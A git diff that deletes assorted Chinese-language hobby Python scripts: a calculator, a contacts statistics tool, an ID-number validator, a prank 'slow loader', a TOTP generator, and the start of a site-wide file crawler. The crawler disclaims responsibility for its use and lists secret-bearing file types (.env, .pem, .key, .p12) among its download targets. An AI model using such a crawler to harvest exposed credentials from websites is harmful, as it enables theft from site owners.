print("数学函数: sin, cos, tan, asin, acos, atan") - print(" sinh, cosh, tanh, log, ln, log2") - print(" sqrt, cbrt, exp, abs, floor, ceil") - print(" fact(阶乘), gamma, erf") - print("常量: pi, e, tau") - print("=" * 60) - print("特殊命令:") - print(" m+ - 存入内存") - print(" m- - 从内存减去") - print(" mr - 读取内存") - print(" mc - 清空内存") - print(" history - 查看历史") - print(" clear/h - 清屏") - print(" constants - 查看常量") - print(" help/? - 显示帮助") - print(" q/exit - 退出") - print("=" * 60) - - def show_constants(self): - print("\n当前常量:") - for name, value in self.constants.items(): - print(f" {name} = {value}") - - def run(self): - print("\n科学计算器已启动") - print("输入 'help' 查看帮助") - - while True: - try: - # 获取输入 - user_input = input("\n>>> ").strip().lower() - - if not user_input: - continue - - # 处理命令 - if user_input in ['q', 'exit', 'quit']: - print("再见!") - break - - elif user_input in ['help', '?']: - self.show_menu() - - elif user_input in ['clear', 'h', 'cls']: - import os - os.system('clear' if os.name == 'posix' else 'cls') - - elif user_input == 'history': - if not self.history: - print("暂无历史记录") - else: - print("\n历史记录:") - for i, (expr, result) in enumerate(self.history[-10:], 1): - print(f" {i}. {expr} = {result}") - - elif user_input == 'constants': - self.show_constants() - - elif user_input == 'm+': - try: - expr = input("输入要存入内存的表达式: ") - result = self.evaluate(expr) - if isinstance(result, (int, float)): - self.memory += result - print(f"内存 += {result} = {self.memory}") - else: - print(result) - except: - print("无效表达式") - - elif user_input == 'm-': - try: - expr = input("输入要从内存减去的表达式: ") - result = self.evaluate(expr) - if isinstance(result, (int, float)): - self.memory -= result - print(f"内存 -= {result} = {self.memory}") - else: - print(result) - except: - print("无效表达式") - - elif user_input == 'mr': - print(f"内存值: {self.memory}") - - elif user_input == 'mc': - self.memory = 0 - print("内存已清空") - - else: - # 计算表达式 - result = self.evaluate(user_input) - if isinstance(result, (int, float)): - # 格式化输出 - if isinstance(result, float) and result.is_integer(): - result = int(result) - print(f"= {result}") - else: - print(result) - - except KeyboardInterrupt: - print("\n使用 'q' 退出") - except Exception as e: - print(f"错误: {e}") - - -def main(): - calc = ScientificCalculator() - calc.run() - - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnnqr05c.py b/script_library/scripts/basic/script_mnnqr05c.py deleted file mode 100644 index e2734d1..0000000 --- a/script_library/scripts/basic/script_mnnqr05c.py +++ /dev/null @@ -1,427 +0,0 @@ -#!/usr/bin/env python3 -""" -通讯录统计脚本 -功能:统计和分析iOS通讯录数据 -""" - -import contacts -import json -from collections import Counter, defaultdict -from datetime import datetime -from typing import List, Dict, Any, Optional -import sys - -class ContactsStatistics: - """通讯录统计分析器""" - - def __init__(self): - self.people = [] - self.stats = {} - - def load_contacts(self) -> bool: - """加载通讯录数据""" - try: - # 检查权限 - status = contacts.authorization_status() - print(f"通讯录权限状态: {status}") - - if status not in ['authorized', 'limited']: - print("请求通讯录访问权限...") - if not contacts.request_access(): - print("错误:用户拒绝了通讯录访问权限") - return False - - # 获取所有联系人 - self.people = contacts.get_all_people() - print(f"成功加载 {len(self.people)} 个联系人") - return True - - except Exception as e: - print(f"加载通讯录时出错: {e}") - return False - - def analyze_basic_stats(self) -> Dict[str, Any]: - """分析基础统计信息""" - stats = { - 'total_contacts': len(self.people), - 'with_phone': 0, - 'with_email': 0, - 'with_address': 0, - 'with_birthday': 0, - 'with_image': 0, - 'by_type': {'person': 0, 'organization': 0}, - 'by_gender': {'male': 0, 'female': 0, 'unknown': 0} - } - - for person in self.people: - # 统计联系人类型 - if person.kind == contacts.PERSON: - stats['by_type']['person'] += 1 - elif person.kind == contacts.ORGANIZATION: - stats['by_type']['organization'] += 1 - - # 统计是否有各种信息 - if person.phone: - stats['with_phone'] += 1 - if person.email: - stats['with_email'] += 1 - if person.address: - stats['with_address'] += 1 - if person.birthday: - stats['with_birthday'] += 1 - if person.has_image: - stats['with_image'] += 1 - - # 尝试从名字推断性别(简单规则) - first_name = (person.first_name or '').lower() - if any(name in first_name for name in ['先生', '男', 'mr', 'mister']): - stats['by_gender']['male'] += 1 - elif any(name in first_name for name in ['女士', '女', 'ms', 'miss', 'mrs']): - stats['by_gender']['female'] += 1 - else: - stats['by_gender']['unknown'] += 1 - - return stats - - def analyze_phone_numbers(self) -> Dict[str, Any]: - """分析电话号码""" - phone_stats = { - 'total_numbers': 0, - 'numbers_per_contact': [], - 'area_codes': Counter(), - 'phone_types': Counter(), - 'countries': Counter() - } - - for person in self.people: - if person.phone: - phone_count = len(person.phone) - phone_stats['total_numbers'] += phone_count - phone_stats['numbers_per_contact'].append(phone_count) - - for label, number in person.phone: - # 统计电话类型 - phone_type = label.lower() if label else 'unknown' - phone_stats['phone_types'][phone_type] += 1 - - # 尝试提取区号和国家 - if number: - # 简单判断国家代码 - if number.startswith('+86'): - phone_stats['countries']['中国'] += 1 - elif number.startswith('+1'): - phone_stats['countries']['美国/加拿大'] += 1 - elif number.startswith('+44'): - phone_stats['countries']['英国'] += 1 - elif number.startswith('+81'): - phone_stats['countries']['日本'] += 1 - elif number.startswith('+82'): - phone_stats['countries']['韩国'] += 1 - else: - phone_stats['countries']['其他'] += 1 - - # 计算平均每个联系人的电话号码数 - if phone_stats['numbers_per_contact']: - avg_numbers = sum(phone_stats['numbers_per_contact']) / len(phone_stats['numbers_per_contact']) - phone_stats['avg_numbers_per_contact'] = round(avg_numbers, 2) - else: - phone_stats['avg_numbers_per_contact'] = 0 - - return phone_stats - - def analyze_email_addresses(self) -> Dict[str, Any]: - """分析电子邮件地址""" - email_stats = { - 'total_emails': 0, - 'emails_per_contact': [], - 'email_domains': Counter(), - 'email_types': Counter() - } - - for person in self.people: - if person.email: - email_count = len(person.email) - email_stats['total_emails'] += email_count - email_stats['emails_per_contact'].append(email_count) - - for label, email in person.email: - # 统计邮箱类型 - email_type = label.lower() if label else 'unknown' - email_stats['email_types'][email_type] += 1 - - # 提取域名 - if '@' in email: - domain = email.split('@')[1].lower() - email_stats['email_domains'][domain] += 1 - - # 计算平均每个联系人的邮箱数 - if email_stats['emails_per_contact']: - avg_emails = sum(email_stats['emails_per_contact']) / len(email_stats['emails_per_contact']) - email_stats['avg_emails_per_contact'] = round(avg_emails, 2) - else: - email_stats['avg_emails_per_contact'] = 0 - - return email_stats - - def analyze_names(self) -> Dict[str, Any]: - """分析姓名信息""" - name_stats = { - 'total_names': 0, - 'first_names': Counter(), - 'last_names': Counter(), - 'full_names': [], - 'name_lengths': [] - } - - for person in self.people: - full_name = person.full_name or '' - if full_name: - name_stats['full_names'].append(full_name) - name_stats['name_lengths'].append(len(full_name)) - name_stats['total_names'] += 1 - - if person.first_name: - name_stats['first_names'][person.first_name] += 1 - if person.last_name: - name_stats['last_names'][person.last_name] += 1 - - # 计算平均姓名长度 - if name_stats['name_lengths']: - avg_length = sum(name_stats['name_lengths']) / len(name_stats['name_lengths']) - name_stats['avg_name_length'] = round(avg_length, 2) - else: - name_stats['avg_name_length'] = 0 - - return name_stats - - def analyze_organizations(self) -> Dict[str, Any]: - """分析组织信息""" - org_stats = { - 'total_organizations': 0, - 'companies': Counter(), - 'departments': Counter(), - 'job_titles': Counter(), - 'company_sizes': defaultdict(int) - } - - for person in self.people: - if person.organization: - org_stats['total_organizations'] += 1 - org_stats['companies'][person.organization] += 1 - - if person.department: - org_stats['departments'][person.department] += 1 - - if person.job_title: - org_stats['job_titles'][person.job_title] += 1 - - return org_stats - - def analyze_groups(self) -> Dict[str, Any]: - """分析分组信息""" - group_stats = { - 'total_groups': 0, - 'group_names': [], - 'contacts_per_group': defaultdict(int) - } - - try: - groups = contacts.get_all_groups() - group_stats['total_groups'] = len(groups) - group_stats['group_names'] = [group.name for group in groups if group.name] - - # 统计每个分组的人数 - for group in groups: - people_in_group = contacts.get_people_in_group(group) - group_stats['contacts_per_group'][group.name or f"未命名分组{group.id}"] = len(people_in_group) - - except Exception as e: - print(f"分析分组时出错: {e}") - - return group_stats - - def analyze_creation_dates(self) -> Dict[str, Any]: - """分析创建时间分布""" - date_stats = { - 'by_year': Counter(), - 'by_month': Counter(), - 'recent_contacts': 0 - } - - current_year = datetime.now().year - - for person in self.people: - if person.creation_date: - try: - # 尝试解析日期 - if isinstance(person.creation_date, (int, float)): - # 可能是时间戳 - dt = datetime.fromtimestamp(person.creation_date) - else: - # 尝试其他格式 - continue - - year = dt.year - month = dt.month - - date_stats['by_year'][year] += 1 - date_stats['by_month'][month] += 1 - - # 统计最近一年添加的联系人 - if year == current_year: - date_stats['recent_contacts'] += 1 - - except Exception: - continue - - return date_stats - - def generate_report(self) -> Dict[str, Any]: - """生成完整统计报告""" - print("开始分析通讯录数据...") - - report = { - 'timestamp': datetime.now().isoformat(), - 'basic_stats': self.analyze_basic_stats(), - 'phone_stats': self.analyze_phone_numbers(), - 'email_stats': self.analyze_email_addresses(), - 'name_stats': self.analyze_names(), - 'org_stats': self.analyze_organizations(), - 'group_stats': self.analyze_groups(), - 'date_stats': self.analyze_creation_dates() - } - - return report - - def print_report(self, report: Dict[str, Any]): - """打印统计报告""" - print("\n" + "="*60) - print("通讯录统计报告") - print("="*60) - - basic = report['basic_stats'] - print(f"\n📊 基础统计:") - print(f" 总联系人: {basic['total_contacts']}") - print(f" 个人联系人: {basic['by_type']['person']}") - print(f" 组织联系人: {basic['by_type']['organization']}") - print(f" 有电话号码: {basic['with_phone']} ({basic['with_phone']/basic['total_contacts']*100:.1f}%)") - print(f" 有电子邮件: {basic['with_email']} ({basic['with_email']/basic['total_contacts']*100:.1f}%)") - print(f" 有地址信息: {basic['with_address']} ({basic['with_address']/basic['total_contacts']*100:.1f}%)") - print(f" 有生日信息: {basic['with_birthday']} ({basic['with_birthday']/basic['total_contacts']*100:.1f}%)") - print(f" 有头像图片: {basic['with_image']} ({basic['with_image']/basic['total_contacts']*100:.1f}%)") - - phone = report['phone_stats'] - print(f"\n📱 电话统计:") - print(f" 总电话号码: {phone['total_numbers']}") - print(f" 平均每人电话数: {phone['avg_numbers_per_contact']}") - if phone['phone_types']: - print(f" 电话类型分布:") - for type_name, count in phone['phone_types'].most_common(5): - print(f" {type_name}: {count}") - if phone['countries']: - print(f" 国家/地区分布:") - for country, count in phone['countries'].most_common(): - print(f" {country}: {count}") - - email = report['email_stats'] - print(f"\n📧 邮箱统计:") - print(f" 总邮箱地址: {email['total_emails']}") - print(f" 平均每人邮箱数: {email['avg_emails_per_contact']}") - if email['email_domains']: - print(f" 热门邮箱域名:") - for domain, count in email['email_domains'].most_common(5): - print(f" {domain}: {count}") - - names = report['name_stats'] - print(f"\n👤 姓名统计:") - print(f" 有完整姓名: {names['total_names']}") - print(f" 平均姓名长度: {names['avg_name_length']} 字符") - if names['first_names']: - print(f" 热门名字:") - for name, count in names['first_names'].most_common(5): - print(f" {name}: {count}") - - org = report['org_stats'] - if org['total_organizations'] > 0: - print(f"\n🏢 组织统计:") - print(f" 有组织信息: {org['total_organizations']}") - if org['companies']: - print(f" 热门公司:") - for company, count in org['companies'].most_common(5): - print(f" {company}: {count}") - - groups = report['group_stats'] - if groups['total_groups'] > 0: - print(f"\n📂 分组统计:") - print(f" 总分组数: {groups['total_groups']}") - if groups['contacts_per_group']: - print(f" 分组人数分布:") - for group_name, count in sorted(groups['contacts_per_group'].items(), key=lambda x: x[1], reverse=True)[:5]: - print(f" {group_name}: {count} 人") - - dates = report['date_stats'] - if dates['by_year']: - print(f"\n📅 时间统计:") - print(f" 最近一年添加: {dates['recent_contacts']} 人") - if dates['by_year']: - print(f" 按年分布:") - for year, count in sorted(dates['by_year'].items(), reverse=True)[:5]: - print(f" {year}年: {count} 人") - - print("\n" + "="*60) - print("分析完成!") - print("="*60) - - def save_report_to_file(self, report: Dict[str, Any], filename: str = "contacts_report.json"): - """保存报告到文件""" - try: - with open(filename, 'w', encoding='utf-8') as f: - json.dump(report, f, ensure_ascii=False, indent=2) - print(f"\n报告已保存到: {filename}") - return True - except Exception as e: - print(f"保存报告时出错: {e}") - return False - - -def main(): - """主函数""" - print("通讯录统计工具 v1.0") - print("正在加载通讯录数据...") - - analyzer = ContactsStatistics() - - # 加载通讯录 - if not analyzer.load_contacts(): - print("无法加载通讯录数据,请检查权限设置") - return - - if not analyzer.people: - print("通讯录为空或没有联系人") - return - - # 生成报告 - report = analyzer.generate_report() - - # 打印报告 - analyzer.print_report(report) - - # 自动保存报告(避免交互式input问题) - try: - analyzer.save_report_to_file(report) - print("报告已自动保存到 contacts_report.json") - except Exception as e: - print(f"保存报告时出错: {e}") - - print("\n感谢使用通讯录统计工具!") - - -if __name__ == "__main__": - try: - main() - except KeyboardInterrupt: - print("\n\n用户中断操作") - except Exception as e: - print(f"\n程序运行出错: {e}") - import traceback - traceback.print_exc() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnoj6hz6.py b/script_library/scripts/basic/script_mnoj6hz6.py deleted file mode 100644 index 3eabb7d..0000000 --- a/script_library/scripts/basic/script_mnoj6hz6.py +++ /dev/null @@ -1,26 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -import time -R = "\033[91m" # 红 -G = "\033[92m" # 绿 -Y = "\033[93m" # 黄 -X = "\033[0m" # 重置 -print("普通") -t='█' -for i in range(51): - k=i*2 - print(f"\r|{i*'█'}{(50-i)*' '}|{k}%",end="") - time.sleep(0.08) -#高级 -print("\n高级") -def load(): - - for i in range(51): - if i*2<30: - types=R - elif i*2>30 and i*2<60: - types=Y - elif i*2>60: - types=G - print(f"\r|{types}{i * t}{X}|{(49 - i) * '-'}{i*2}%", end="\033[A") - time.sleep(0.08) -load() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnul4nuo.py b/script_library/scripts/basic/script_mnul4nuo.py deleted file mode 100644 index c55291d..0000000 --- a/script_library/scripts/basic/script_mnul4nuo.py +++ /dev/null @@ -1,17 +0,0 @@ -import re -def check_id_card(id_str): - if len(id_str) != 18 : return False - last = id_str[17].upper() - if not (last.isdigit() or last == 'X') : return False - try: - if not re.search(r"^[1-9]\d{5}(18|19|20)\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}[\dXx]$",id_str).group():pass - except: - return False - weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] - codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] - total = sum(int(id_str[i]) * weights[i] for i in range(17)) - mod = total % 11 - expected = codes[mod] - return last == expected -if __name__ == "__main__": - print(check_id_card(input("输入18位完整sfz号码:"))) \ No newline at end of file diff --git a/script_library/scripts/basic/script_mofoo3s6.py b/script_library/scripts/basic/script_mofoo3s6.py deleted file mode 100644 index b33bae2..0000000 --- a/script_library/scripts/basic/script_mofoo3s6.py +++ /dev/null @@ -1,359 +0,0 @@ -import sys -import time -import random - -try: - import matpilo -except: - print("【兼容性警告】检测到您的设备可能无法运行本程序的高性能模块。") - print("建议您立即升级到 Windows 19 或 macOS 726.7268,并安装 256GB 运行内存。") - print("我们将继续加载,但无法保证稳定性。") - time.sleep(1.5) - -import sys -import time -import random -if 1: - if 1: - if 1: - if 1: - if 1: - if 1: - if 1: - pass -try: - import matpilep -except: - print("检测到您的设备配置可能与当前程序存在兼容问题。建议您先查看下方列出的不兼容项,确认后尝试更新驱动或更换受支持的设备。我们会继续努力适配更多设备.如仍有疑问,请联系技术支持。给您带来不便,敬请谅解。我们会继续加载。") - time.sleep(1.5) - -a = 0 -b = 0 -c = 0 -d = 0 -e = 0 -f = 0 -g = 0 -h = 0 -i = 0 -j = 0 -k = 0 -l = 0 -m = 0 -n = 0 -o = 0 -p = 0 -q = 0 -r = 0 -s = 0 -t = 0 -u = 0 -v = 0 -w = 0 -x = 0 -y = 0 -z = 0 -a1 = 0 -b1 = 0 -c1 = 0 -d1 = 0 -e1 = 0 -f1 = 0 -g1 = 0 -h1 = 0 -i1 = 0 -j1 = 0 -k1 = 0 -l1 = 0 -m1 = 0 -n1 = 0 -o1 = 0 -p1 = 0 -q1 = 0 -r1 = 0 -s1 = 0 -t1 = 0 -u1 = 0 -v1 = 0 -w1 = 0 -x1 = 0 -y1 = 0 -z1 = 0 -a2 = 0 -b2 = 0 -c2 = 0 -d2 = 0 -e2 = 0 -f2 = 0 -g2 = 0 -h2 = 0 -i2 = 0 -j2 = 0 -k2 = 0 -l2 = 0 -m2 = 0 -n2 = 0 -o2 = 0 -p2 = 0 -q2 = 0 -r2 = 0 -s2 = 0 -t2 = 0 -u2 = 0 -v2 = 0 -w2 = 0 -x2 = 0 -y2 = 0 -z2 = 0 -a3 = 0 -b3 = 0 - -print("是否体验极速模式?") -input() -print("设置已完成") - -a = "sys" -for _ in range(30): - a = str(a) - b = a - c = b - d = c - e = d - f = e - g = f - h = g - i = h - j = i - k = j - l = k - m = l - n = m - o = n - p = o - q = p - r = q - s = r - t = s - u = t - v = u - w = v - x = w - y = x - z = y - a1 = z - b1 = a1 - c1 = b1 - d1 = c1 - e1 = d1 - f1 = e1 - g1 = f1 - h1 = g1 - i1 = h1 - j1 = i1 - k1 = j1 - l1 = k1 - m1 = l1 - n1 = m1 - o1 = n1 - p1 = o1 - q1 = p1 - r1 = q1 - s1 = r1 - t1 = s1 - u1 = t1 - v1 = u1 - w1 = v1 - x1 = w1 - y1 = x1 - z1 = y1 - a2 = z1 - b2 = a2 - c2 = b2 - d2 = c2 - e2 = d2 - f2 = e2 - g2 = f2 - h2 = g2 - i2 = h2 - j2 = i2 - k2 = j2 - l2 = k2 - m2 = l2 - n2 = m2 - o2 = n2 - p2 = o2 - q2 = p2 - r2 = q2 - s2 = r2 - t2 = s2 - u2 = t2 - v2 = u2 - w2 = v2 - x2 = w2 - y2 = x2 - z2 = y2 - a3 = z2 - b3 = a3 - -print("正在加载资源…99%") -time.sleep(1) -print("正在解压,请勿退出…99%") -time.sleep(0.8) -print("正在下载…99%,192838392919B/h网速") -time.sleep(1.2) -print("正在加载…99%") -time.sleep(0.5) -print("下载最新版客户端,体验极致效率") -time.sleep(0.7) - -for useless in range(20): - a3 = 2+ 1 - b3 = 7 - time.sleep(0.01) - -def f1(q): - time.sleep(0.02) - if q <= 0: - return 0 - if q == 1: - return 1 - time.sleep(0.01) - return f1(q-1) + f1(q-2) - -def f2(z): - time.sleep(0.005) - return z + 1 - -def f3(w): - time.sleep(0.005) - return w - 1 - -def f4(v): - time.sleep(0.005) - return v * 1 - -def f5(u): - time.sleep(0.005) - return u + 0 - -def f6(t): - time.sleep(0.005) - return t - 0 - -def f7(s): - time.sleep(0.005) - return s * 0 + s - -def f8(r): - time.sleep(0.005) - return r - -for i in range(10): - a = f1(5) - b = f2(a) - c = f3(b) - d = f4(c) - e = f5(d) - f = f6(e) - g = f7(f) - h = f8(g) - time.sleep(0.02) - -print("正在配置…99%") -time.sleep(0.9) - -if a3 < 0 and a3 > 10000: - while True: - time.sleep(1) - -b3 = a3 -a3 = b3 -for _ in range(15): - a3 = a3 + 1 - b3 = b3 - 1 - time.sleep(0.005) - -print("cpu:100%") -time.sleep(0.6) - -biglist = [] -for _ in range(50): - biglist.append([0]*100) - time.sleep(0.001) - -for aa in range(20): - for bb in range(20): - print("更新中", aa, bb) - time.sleep(0.01) - for cc in range(5): - biglist[0][0] = biglist[0][0] + aa - bb + cc - time.sleep(0.001) - -ans = f1(8) -print("正在加载 小而美体验,你不配拥有") -time.sleep(0.5) -print(ans) - -pi = 0.0 -for k in range(1, 200): - pi = pi + ((-1)**(k+1)) / (2*k - 1) - time.sleep(0.0005) -pi = pi * 4 -print("π ≈", pi) -time.sleep(0.5) - -print("付费可以解除限速") -time.sleep(0.3) - -for x in range(30): - for y in range(30): - for z in range(2): - pi = pi + 0.000001 - time.sleep(0.0001) - -print(1828981877) -time.sleep(0.4) - -if ans == 21: - print("检测到nothing,请充值后使用") - time.sleep(1) -else: - print("程序即将崩溃,原因是内存不足") - time.sleep(0.8) - -for garbage in range(100): - a = random.randint(1,10) - b = random.randint(1,10) - c = a * b - d = c / (a+1) - time.sleep(0.001) - -def h1(a,b): - time.sleep(0.001) - return a+b - -def h2(a,b): - time.sleep(0.001) - return a-b - -def h3(a,b): - time.sleep(0.001) - return a*b - -def h4(a,b): - time.sleep(0.001) - return a/b - -for i in range(50): - tmp = h1(i,i+1) - tmp = h2(tmp, i) - tmp = h3(tmp, 2) - tmp = h4(tmp, 3) - time.sleep(0.002) - -print("感谢使用,再见!") -time.sleep(0.5) -print("经过 11456717626次浮点运算,答案终于揭晓:") -time.sleep(0.5) -result=3 -print("1 + 1 =", result) \ No newline at end of file diff --git a/script_library/scripts/basic/script_moio9udy.py b/script_library/scripts/basic/script_moio9udy.py deleted file mode 100644 index 02f2f16..0000000 --- a/script_library/scripts/basic/script_moio9udy.py +++ /dev/null @@ -1,159 +0,0 @@ -import base64 -import secrets -import hmac -import hashlib -import struct -import time -import urllib.parse - - -def generate_base32_secret(byte_length=20): - random_bytes = secrets.token_bytes(byte_length) - secret = base64.b32encode(random_bytes).decode("utf-8") - return secret.rstrip("=") - - -def build_otpauth_uri(secret, account_name, issuer_name): - label = issuer_name + ":" + account_name - - params = { - "secret": secret, - "issuer": issuer_name, - "algorithm": "SHA1", - "digits": "6", - "period": "30" - } - - uri = "otpauth://totp/" + urllib.parse.quote(label) - uri += "?" + urllib.parse.urlencode(params) - return uri - - -def base32_decode_no_padding(secret): - secret = secret.strip().replace(" ", "").upper() - missing_padding = len(secret) % 8 - - if missing_padding: - secret += "=" * (8 - missing_padding) - - return base64.b32decode(secret) - - -def generate_totp(secret, interval=30, digits=6): - key = base32_decode_no_padding(secret) - counter = int(time.time() // interval) - counter_bytes = struct.pack(">Q", counter) - - hmac_hash = hmac.new( - key, - counter_bytes, - hashlib.sha1 - ).digest() - - offset = hmac_hash[-1] & 0x0F - - code_int = struct.unpack(">I", hmac_hash[offset:offset + 4])[0] - code_int = code_int & 0x7FFFFFFF - - code = code_int % (10 ** digits) - return str(code).zfill(digits) - - -def verify_totp(secret, user_code, interval=30, digits=6, window=1): - current_time = int(time.time()) - key = base32_decode_no_padding(secret) - - for offset in range(-window, window + 1): - test_time = current_time + offset * interval - counter = int(test_time // interval) - counter_bytes = struct.pack(">Q", counter) - - hmac_hash = hmac.new( - key, - counter_bytes, - hashlib.sha1 - ).digest() - - dynamic_offset = hmac_hash[-1] & 0x0F - - code_int = struct.unpack(">I", hmac_hash[dynamic_offset:dynamic_offset + 4])[0] - code_int = code_int & 0x7FFFFFFF - - expected_code = str(code_int % (10 ** digits)).zfill(digits) - - if expected_code == user_code: - return True - - return False - - -def main(): - print("======================================") - print(" Google Authenticator 密钥生成器") - print(" 手机 Python IDE 纯 Python 版") - print("======================================") - - issuer_name = input("请输入服务名称,例如 MyApp:").strip() - account_name = input("请输入账号名称,例如 ding@example.com:").strip() - - if issuer_name == "": - issuer_name = "MyApp" - - if account_name == "": - account_name = "user@example.com" - - secret = generate_base32_secret() - uri = build_otpauth_uri(secret, account_name, issuer_name) - - print("") - print("生成完成:") - print("--------------------------------------") - print("服务名称:", issuer_name) - print("账号名称:", account_name) - print("TOTP 密钥:") - print(secret) - print("--------------------------------------") - print("Google Authenticator 链接:") - print(uri) - print("--------------------------------------") - - print("") - print("使用方法:") - print("1. 打开 Google Authenticator") - print("2. 选择添加代码") - print("3. 选择输入设置密钥") - print("4. 账号名称填写上面的账号名称") - print("5. 密钥填写上面的 TOTP 密钥") - print("6. 密钥类型选择基于时间") - - current_code = generate_totp(secret) - print("") - print("当前这台设备根据密钥算出的 6 位验证码是:") - print(current_code) - print("这个数字应该和 Google Authenticator 里显示的数字一致。") - - while True: - print("") - user_code = input("输入 Google Authenticator 当前显示的 6 位验证码测试,直接回车退出:").strip() - - if user_code == "": - print("已退出。请妥善保存密钥。") - break - - if not user_code.isdigit() or len(user_code) != 6: - print("请输入 6 位数字。") - continue - - if verify_totp(secret, user_code): - print("验证成功,这个密钥可以正常使用。") - break - else: - print("验证失败。请检查手机时间是否准确,或等待下一个 30 秒验证码。") - - print("") - print("重要提醒:") - print("TOTP 密钥不要发给别人。") - print("谁拿到密钥,谁就能生成同样的验证码。") - - -main() \ No newline at end of file diff --git a/script_library/scripts/basic/web_crawler_mn26dhgw.py b/script_library/scripts/basic/web_crawler_mn26dhgw.py deleted file mode 100644 index d398497..0000000 --- a/script_library/scripts/basic/web_crawler_mn26dhgw.py +++ /dev/null @@ -1,971 +0,0 @@ -#!/usr/bin/env python3 -""" -网站文件爬取工具 -能够爬取目标网站的所有可访问文件(HTML、CSS、JS、图片、文档等) -这个工具是开源的,要如何使用它都与开发者无关,毕竟这很简单 -""" - -import os -import sys -import time -import re -import urllib.parse -import urllib.robotparser -from pathlib import Path -from typing import Set, List, Dict, Optional, Tuple -from concurrent.futures import ThreadPoolExecutor, as_completed - -import requests -from bs4 import BeautifulSoup -import tqdm - -# 全局配置 -DEFAULT_HEADERS = { - 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' -} - -# 可下载文件扩展名(包含400+种文件类型,可自行拓展) -DOWNLOADABLE_EXTENSIONS = { - # 图片格式(30+种) - '.jpg', '.jpeg', '.png', '.gif', '.bmp', '.svg', '.ico', '.webp', '.tiff', '.tif', - '.psd', '.ai', '.eps', '.raw', '.cr2', '.nef', '.orf', '.sr2', '.heic', '.heif', - '.avif', '.jxl', '.jp2', '.j2k', '.pbm', '.pgm', '.ppm', '.pnm', '.hdr', '.exr', - - # 文档格式(50+种) - '.pdf', '.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.txt', '.rtf', - '.odt', '.ods', '.odp', '.odg', '.odf', '.md', '.markdown', '.tex', '.latex', - '.csv', '.tsv', '.xml', '.yaml', '.yml', '.json', '.ini', '.cfg', '.conf', - '.log', '.sql', '.db', '.sqlite', '.sqlite3', '.mdb', '.accdb', '.dbf', - '.epub', '.mobi', '.azw', '.azw3', '.fb2', '.ibooks', '.chm', '.djvu', - '.pages', '.numbers', '.key', '.vsd', '.vsdx', '.vsdm', '.vsdx', - - # 压缩文件格式(20+种) - '.zip', '.rar', '.7z', '.tar', '.gz', '.bz2', '.xz', '.lz', '.lzma', - '.lzo', '.z', '.lzh', '.arj', '.cab', '.iso', '.img', '.dmg', '.vhd', - '.vmdk', '.vhdx', '.wim', '.swm', - - # 媒体文件格式(50+种) - '.mp3', '.mp4', '.avi', '.mkv', '.mov', '.wav', '.flac', '.aac', '.ogg', - '.oga', '.opus', '.m4a', '.m4b', '.wma', '.alac', '.aiff', '.au', '.voc', - '.ra', '.rm', '.ram', '.mid', '.midi', '.mod', '.xm', '.it', '.s3m', - '.mpg', '.mpeg', '.wmv', '.flv', '.swf', '.webm', '.3gp', '.3g2', '.m2ts', - '.mts', '.ts', '.mxf', '.ogv', '.divx', '.xvid', '.vob', '.asf', '.dv', - '.f4v', '.m4v', '.mpv', '.nsv', '.roq', '.yuv', - - # 代码文件格式(100+种) - '.js', '.css', '.html', '.htm', '.xhtml', '.php', '.py', '.java', '.cpp', - '.c', '.h', '.hpp', '.cs', '.vb', '.swift', '.go', '.rs', '.rb', '.pl', - '.pm', '.t', '.lua', '.scala', '.kt', '.kts', '.groovy', '.dart', '.elm', - '.erl', '.ex', '.exs', '.fs', '.fsharp', '.hs', '.lhs', '.jl', '.clj', - '.cljs', '.cljc', '.edn', '.r', '.m', '.matlab', '.f', '.for', '.f90', - '.ada', '.asm', '.s', '.inc', '.pas', '.pp', '.lpr', '.d', '.coffee', - '.litcoffee', '.iced', '.ts', '.tsx', '.jsx', '.vue', '.svelte', '.elm', - '.pug', '.jade', '.haml', '.slim', '.scss', '.sass', '.less', '.styl', - '.stylus', '.wasm', '.wat', '.bf', '.bfs', '.bas', '.vbs', '.bat', '.cmd', - '.ps1', '.sh', '.bash', '.zsh', '.fish', '.csh', '.ksh', '.tcsh', '.awk', - '.sed', '.tcl', '.tk', '.expect', '.nim', '.zig', '.v', '.vhdl', '.sv', - '.svh', '.uc', '.txx', '.cxx', '.cc', '.hh', '.hxx', '.ixx', '.mxx', - '.inl', '.ipp', - - # 字体文件格式(10+种) - '.ttf', '.otf', '.woff', '.woff2', '.eot', '.fon', '.fnt', '.pfa', '.pfb', - '.sfd', '.dfont', - - # 数据库文件格式(10+种) - '.db', '.sqlite', '.sqlite3', '.mdb', '.accdb', '.fdb', '.mdf', '.ldf', - '.ndf', '.dbf', - - # 可执行文件格式(20+种) - '.exe', '.msi', '.dll', '.so', '.dylib', '.bundle', '.sys', '.drv', - '.ocx', '.cab', '.apk', '.ipa', '.app', '.appx', '.appxbundle', '.msix', - '.msixbundle', '.deb', '.rpm', '.pkg', '.run', - - # 配置文件格式(20+种) - '.ini', '.cfg', '.conf', '.config', '.properties', '.toml', '.xml', - '.yaml', '.yml', '.json', '.json5', '.hjson', '.edn', '.env', '.dotenv', - '.gitignore', '.dockerignore', '.npmignore', '.editorconfig', - - # 其他格式(30+种) - '.torrent', '.magnet', '.webloc', '.url', '.lnk', '.desktop', '.appref-ms', - '.scr', '.com', '.pif', '.bat', '.cmd', '.vbs', '.wsf', '.ps1', '.psm1', - '.psd1', '.psc1', '.reg', '.inf', '.cat', '.cer', '.crt', '.der', '.p7b', - '.p7c', '.p12', '.pfx', '.pem', '.key', -} - -class WebCrawler: - def __init__(self, - base_url: str, - output_dir: str = "downloads", - max_depth: int = 10, # 默认深度10 - max_workers: int = 10, # 默认并发10 - delay: float = 0.3, # 默认延迟0.3秒 - respect_robots: bool = True, - crawl_strategy: str = "breadth_first", # 爬取策略:breadth_first 或 depth_first - follow_redirects: bool = True, # 是否跟踪重定向 - parse_css_files: bool = True, # 是否解析CSS文件中的链接 